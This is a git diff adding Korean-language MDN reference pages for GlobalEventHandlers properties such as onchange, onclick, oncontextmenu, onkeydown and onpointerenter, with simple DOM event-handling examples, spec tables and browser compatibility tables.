+ <dt>{{domxref("GlobalEventHandlers.onplaying")}}</dt>
+ <dd>{{event("playing")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerdown")}}</dt>
+ <dd>{{event("pointerdown")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointermove")}}</dt>
+ <dd>{{event("pointermove")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerup")}}</dt>
+ <dd>{{event("pointerup")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointercancel")}}</dt>
+ <dd>{{event("pointercancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerover")}}</dt>
+ <dd>{{event("pointerover")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerout")}}</dt>
+ <dd>{{event("pointerout")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerenter")}}</dt>
+ <dd>{{event("pointerenter")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerleave")}}</dt>
+ <dd>{{event("pointerleave")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>{{event("pointerlockchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>{{event("pointerlockerror")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onprogress")}}</dt>
+ <dd>{{event("progress")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onratechange")}}</dt>
+ <dd>{{event("ratechange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>{{event("reset")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt>
+ <dd>{{event("resize")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>{{event("scroll")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeked")}}</dt>
+ <dd>{{event("seeked")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeking")}}</dt>
+ <dd>{{event("seeking")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>{{event("select")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectstart")}}</dt>
+ <dd>사용자가 웹 페이지의 텍스트 등을 선택하기 시작함을 나타내는 {{event("selectionchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>웹 페이지의 선택 영역(텍스트 등)이 바뀌었음을 나타내는 {{event("selectionchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onshow")}}</dt>
+ <dd>{{event("show")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsort")}} {{experimental_inline}}</dt>
+ <dd>{{event("sort")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onstalled")}}</dt>
+ <dd>{{event("stalled")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>{{event("submit")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsuspend")}}</dt>
+ <dd>{{event("suspend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontimeupdate")}}</dt>
+ <dd>{{event("timeupdate")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onvolumechange")}}</dt>
+ <dd>{{event("volumechange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchcancel")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>{{event("touchcancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchend")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>{{event("touchend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchmove")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>{{event("touchmove")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchstart")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>{{event("touchstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontransitioncancel")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/CSS_Transitions">CSS 트랜지션</a>이 취소됐음을 알리는 {{event("transitioncancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontransitionend")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/CSS_Transitions">CSS 트랜지션</a>이 끝났음을 알리는 {{event("transitionend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwaiting")}}</dt>
+ <dd>{{event("waiting")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+</dl>
+</div>
+
+<h2 id="메소드">메소드</h2>
+
+<p>이 인터페이스는 메서드를 정의하지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Selection API",'', 'Extension to GlobalEventHandlers')}}</td>
+ <td>{{Spec2('Selection API')}}</td>
+ <td><code>onselectionchange</code> 추가.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extension of Document')}}</td>
+ <td>{{Spec2('Pointer Lock')}}</td>
+ <td>{{domxref("Document")}} 에 <code>onpointerlockchange</code> 와 <code>onpointerlockerror</code> 추가. <code>GlobalEventHandlers</code> 에 실험적으로 구현되었음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>{{SpecName("HTML5.1")}} 최신 스냅샷 이후에 변경 사항 없음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>{{SpecName("HTML WHATWG")}} 의 스냅샷. {{SpecName("HTML5 W3C")}} 스냅샷 이후에 <code>onsort</code> 가 추가되었음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>{{SpecName("HTML WHATWG")}} 의 스냅샷. <code>GlobalEventHandlers</code> 생성(그 전 타겟에 있던 속성들)</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.GlobalEventHandlers")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+ <li>{{domxref("EventHandler")}}</li>
+ <li>{{domxref("Event")}}</li>
+</ul>
diff --git a/files/ko/web/api/globaleventhandlers/onchange/index.html b/files/ko/web/api/globaleventhandlers/onchange/index.html
new file mode 100644
index 0000000000..bbefe1251d
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onchange/index.html
@@ -0,0 +1,73 @@
+---
+title: GlobalEventHandlers.onchange
+slug: Web/API/GlobalEventHandlers/onchange
+tags:
+ - API
+ - GlobalEventHandlers
+ - HTML DOM
+ - Property
+ - Reference
+translation_of: Web/API/GlobalEventHandlers/onchange
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<p><strong><code>onchange</code></strong> 속성은 {{event("change")}} 이벤트의 이벤트 핸들러를 설정하고 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><em><var>target</var></em>.onchange = <em>functionRef</em>;
+</pre>
+
+<p><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">functionRef</span></font>는 <code>null</code> 또는 이벤트 핸들러를 지정하는 <a href="/en-US/docs/Web/JavaScript/Reference/Functions" title="/en-US/docs/JavaScript/Reference/Functions_and_function_scope">JavaScript function</a> 함수 중 하나여야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html"><code>&lt;input type="text" placeholder="Type something here, then click outside of the field." size="50"&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</code></pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js"><code>let input = document.querySelector('input');
+let log = document.getElementById('log');
+
+input.onchange = handleChange;
+
+function handleChange(e) {
+ log.textContent = `The field's value is
+ ${e.target.value.length} character(s) long.`;
+}</code></pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onchange','onchange')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.GlobalEventHandlers.onchange")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{event("change")}} 이벤트</li>
+</ul>
diff --git a/files/ko/web/api/globaleventhandlers/onclick/index.html b/files/ko/web/api/globaleventhandlers/onclick/index.html
new file mode 100644
index 0000000000..9b655c0421
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onclick/index.html
@@ -0,0 +1,89 @@
+---
+title: GlobalEventHandlers.onclick
+slug: Web/API/GlobalEventHandlers/onclick
+tags:
+ - API
+ - Event Handler
+ - HTML DOM
+ - Property
+ - Reference
+translation_of: Web/API/GlobalEventHandlers/onclick
+---
+<div>{{apiref("HTML DOM")}}</div>
+
+<p>{{domxref("GlobalEventHandlers")}} 믹스인<sup>mixin</sup>의 <code><strong>onclick</strong></code> 속성은 주어진 요소의 {{event("click")}} 이벤트를 처리하기 위한 {{domxref("EventHandler")}}입니다.</p>
+
+<p><code>click</code> 이벤트는 사용자가 요소를 클릭할 때 {{event("mousedown")}}과 {{event("mouseup")}} 다음으로 발동합니다.</p>
+
+<div class="note"><strong>참고:</strong> <code>click</code> 이벤트에 행동을 붙일 땐, 마우스나 터치 스크린을 사용하지 않는 사용자도 그 행동을 할 수 있도록 {{event("keydown")}}이벤트에도 똑같이 적용하는걸 고려해보세요.</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">target.onclick = <var>functionRef</var>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>functionRef</code>는 함수 이름이거나 <a href="/ko/docs/Web/JavaScript/Reference/Operators/function">함수 표현식</a>으로, 유일한 매개변수로 {{domxref("MouseEvent")}} 객체를 받습니다. 함수 내에서 {{jsxref("Operators/this", "this")}}는 이벤트가 발동한 요소를 가리킵니다.</p>
+
+<p>하나의 객체에는 하나의 <code>onclick</code> 처리기만 할당할 수 있습니다. 더 유연한{{domxref("EventTarget.addEventListener()")}} 메서드를 선호하는 편이 좋을 수도 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 클릭 위치를 기록합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Click anywhere in this example.&lt;/p&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">let log = document.getElementById('log');
+
+document.onclick = inputChange;
+
+function inputChange(e) {
+ log.textContent = `Position: (${e.clientX}, ${e.clientY})`;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onclick','onclick')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.GlobalEventHandlers.onclick")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{event("click")}} 이벤트</li>
+ <li>관련 이벤트 처리기
+ <ul>
+ <li>{{domxref("GlobalEventHandlers.onauxclick")}}</li>
+ <li>{{domxref("GlobalEventHandlers.ondblclick")}}</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/api/globaleventhandlers/oncontextmenu/index.html b/files/ko/web/api/globaleventhandlers/oncontextmenu/index.html
new file mode 100644
index 0000000000..c13513c82e
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/oncontextmenu/index.html
@@ -0,0 +1,103 @@
+---
+title: GlobalEventHandlers.oncontextmenu
+slug: Web/API/GlobalEventHandlers/oncontextmenu
+translation_of: Web/API/GlobalEventHandlers/oncontextmenu
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<p>윈도우에서 마우스 오른쪽 클릭시 발생하는 이벤트 이벤트 핸들러 속성 입니다. 기본동작을 막지 않는 한 (아래의 예제를 참조하세요), 브라우저의 컨텍스트 메뉴가 활성화됩니다. (그러나 IE8는 이것과 관련된 버그가 있어 contextmenu 가 정의 되어있다고 할지라도 활성화 되지 않습니다).  이 이벤트는 비활성화되지 않은(non-disabled) 오른쪽 클릭 이벤트와 함께 발생하며   <a href="http://hacks.mozilla.org/2011/11/html5-context-menus-in-firefox-screencast-and-code/" title="http://hacks.mozilla.org/2011/11/html5-context-menus-in-firefox-screencast-and-code/">"contextmenu" 속성</a> 을 가진 엘리먼트에는 달리지 않는다는 것을 유의하세요.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">window.oncontextmenu = funcRef;
+//funcRef refers to the function to be called</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>페이지상에서 오른쪽 클릭을 막는 예제들 입니다:</p>
+
+<pre class="brush:js;">document.oncontextmenu = function () { // Use document as opposed to window for IE8 compatibility
+ return false;
+};
+
+window.addEventListener('contextmenu', function (e) { // Not compatible with IE &lt; 9
+    e.preventDefault();
+}, false);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','webappapis.html#handler-oncontextmenu','oncontextmenu')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/api/globaleventhandlers/ondblclick/index.html b/files/ko/web/api/globaleventhandlers/ondblclick/index.html
new file mode 100644
index 0000000000..7444c2c81b
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/ondblclick/index.html
@@ -0,0 +1,70 @@
+---
+title: GlobalEventHandlers.ondblclick
+slug: Web/API/GlobalEventHandlers/ondblclick
+tags:
+ - API
+ - Event Handler
+ - HTML DOM
+ - Property
+ - Reference
+translation_of: Web/API/GlobalEventHandlers/ondblclick
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><code><strong>ondblclick</strong></code> property는 현재 요소(element)의 onDblClick 이벤트 핸들러 코드를 돌려줍니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">element.ondblclick = function;
+</pre>
+
+<ul>
+ <li><code>function</code> 은 사용자 정의 함수이며, () 나 변수를 제외하고 생성할 수 있고 또는 아래와 같이 함수명을 선언하지 않고 생성할 수 있습니다.</li>
+</ul>
+
+<pre class="brush: js notranslate">element.ondblclick = function() { console.log("ondblclick event detected!"); };
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 더블클릭의 위치를 기록합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Double click anywhere in this example.&lt;/p&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">let log = document.getElementById('log');
+
+document.ondblclick = logDoubleClick;
+
+function logDoubleClick(e) {
+ log.textContent = `Position: (${e.clientX}, ${e.clientY})`;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','webappapis.html#handler-ondblclick','ondblclick')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("api.GlobalEventHandlers.ondblclick")}}</div>
diff --git a/files/ko/web/api/globaleventhandlers/onkeydown/index.html b/files/ko/web/api/globaleventhandlers/onkeydown/index.html
new file mode 100644
index 0000000000..d5f598104a
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onkeydown/index.html
@@ -0,0 +1,60 @@
+---
+title: GlobalEventHandlers.onkeydown
+slug: Web/API/GlobalEventHandlers/onkeydown
+tags:
+ - API
+ - HTML DOM
+ - NeedsContent
+ - NeedsExample
+translation_of: Web/API/GlobalEventHandlers/onkeydown
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><code><strong>onkeydown</strong></code> 속성은 현재 요소(element)의 <code>onKeyDown</code> 이벤트 핸들러 코드를 돌려줍니다</p>
+
+<pre class="syntaxbox">element.onkeydown = <var>event handling code</var></pre>
+
+<h2 id="Example">Example</h2>
+
+<p>This example logs the {{domxref("KeyboardEvent.code")}} value whenever you press down a key inside the {{HtmlElement("input")}} element.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre><code>&lt;input&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</code></pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre><code>const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.onkeydown = logKey;
+
+function logKey(e) {
+ log.textContent += ` ${e.code}`;
+}</code></pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onkeydown','onkeydown')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.GlobalEventHandlers.onkeydown")}}</p>
diff --git a/files/ko/web/api/globaleventhandlers/onkeyup/index.html b/files/ko/web/api/globaleventhandlers/onkeyup/index.html
new file mode 100644
index 0000000000..7ba6e8c6b6
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onkeyup/index.html
@@ -0,0 +1,27 @@
+---
+title: GlobalEventHandlers.onkeyup
+slug: Web/API/GlobalEventHandlers/onkeyup
+translation_of: Web/API/GlobalEventHandlers/onkeyup
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><strong>onkeyup</strong> 속성은 현재 요소에서 onKeyUp 이벤트 핸들러를 반환합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">element.onkeyup = <em>event handling code</em>
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js"> &lt;input type="text" onKeyUp="keyWasPressed(event)"&gt;
+ &lt;script&gt;function keyWasPressed(evt){ console.log(evt.keyCode) }&lt;/script&gt;
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>keyup 이벤트는 사용자가 눌렀던 키를 놓을 때 발생합니다.</p>
+
+<h2 id="명세서">명세서</h2>
+
+<p>명세 내용이 없습니다.</p>
diff --git a/files/ko/web/api/globaleventhandlers/onpointerenter/index.html b/files/ko/web/api/globaleventhandlers/onpointerenter/index.html
new file mode 100644
index 0000000000..a9e0087ecc
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onpointerenter/index.html
@@ -0,0 +1,79 @@
+---
+title: GlobalEventHandlers.onpointerenter
+slug: Web/API/GlobalEventHandlers/onpointerenter
+translation_of: Web/API/GlobalEventHandlers/onpointerenter
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>{{domxref("GlobalEventHandlers")}} mixin의 <strong><code>onpointerenter</code></strong><em> </em>property는 {{event("pointerenter")}} 이벤트를 처리하는 {{domxref("EventHandler")}} 이다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate"><var>targetElement</var>.onpointerenter = <var>enterHandler</var>;
+
+var <var>enterHandler</var> = <var>targetElement</var>.onpointerenter;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<dl>
+ <dt><code>enterHandler</code></dt>
+ <dd>The <code>pointerenter</code> event handler for element <code>targetElement</code>.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>아래 예제는 element의 <code>pointerenter</code> 이벤트 핸들러를 설정하는 <code>onpointerenter</code> 의 2가지 사용법을 보여준다.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+&lt;script&gt;
+function enterHandler(ev) {
+ // pointerenter event처리
+}
+function init() {
+ let el = document.getElementById('target1');
+ el.onpointerenter = enterHandler;
+}
+&lt;/script&gt;
+
+&lt;body onload="init();"&gt;
+ &lt;div id="target1"&gt; Touch me ... &lt;/div&gt;
+ &lt;div id="target2" onpointerenter="enterHandler(event)"&gt; Touch me ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Pointer Events 2','#dom-globaleventhandlers-onpointerenter', 'onpointerenter')}}</td>
+ <td>{{Spec2('Pointer Events 2')}}</td>
+ <td>Non-stable version</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Pointer Events', '#widl-GlobalEventHandlers-onpointerenter', 'onpointerenter')}}</td>
+ <td>{{Spec2('Pointer Events')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.GlobalEventHandlers.onpointerenter")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/Document/pointerenter_event">Document: pointerenter</a></code> event</li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/pointerenter_event">HTMLElement: pointerenter</a></code> event</li>
+</ul>
diff --git a/files/ko/web/api/globaleventhandlers/onscroll/index.html b/files/ko/web/api/globaleventhandlers/onscroll/index.html
new file mode 100644
index 0000000000..1c32b77ee9
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/onscroll/index.html
@@ -0,0 +1,98 @@
+---
+title: GlobalEventHandlers.onscroll
+slug: Web/API/GlobalEventHandlers/onscroll
+translation_of: Web/API/GlobalEventHandlers/onscroll
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<div>{{domxref("GlobalEventHandlers")}} 의 <strong><code>onscroll</code></strong> 이벤트는 {{domxref("EventHandler")}} 의 <code>scroll</code> 이벤트를 상속받았습니다.</div>
+
+<div></div>
+
+<div>document view 나  element 가 스크롤이 됬을 때 이벤트가  발생합니다.</div>
+
+<div></div>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> <code>onscroll</code> 과 {{domxref("GlobalEventHandlers.onwheel", "onwheel")}} 이벤트를 혼동하지 마세요. <code>onwheel</code> 보통 휠의 회전을 처리하고, <code>onscroll</code>은 객체의 내용의 스크롤을 처리합니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>target</em>.onscroll = <em>functionRef</em>;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p><code>functionRef</code> 은(는) 함수 표현식 또는 함수 이름 이며, 이 객체는 오직 {{domxref("UIEvent")}} 객체만 인수로 받습니다.</p>
+
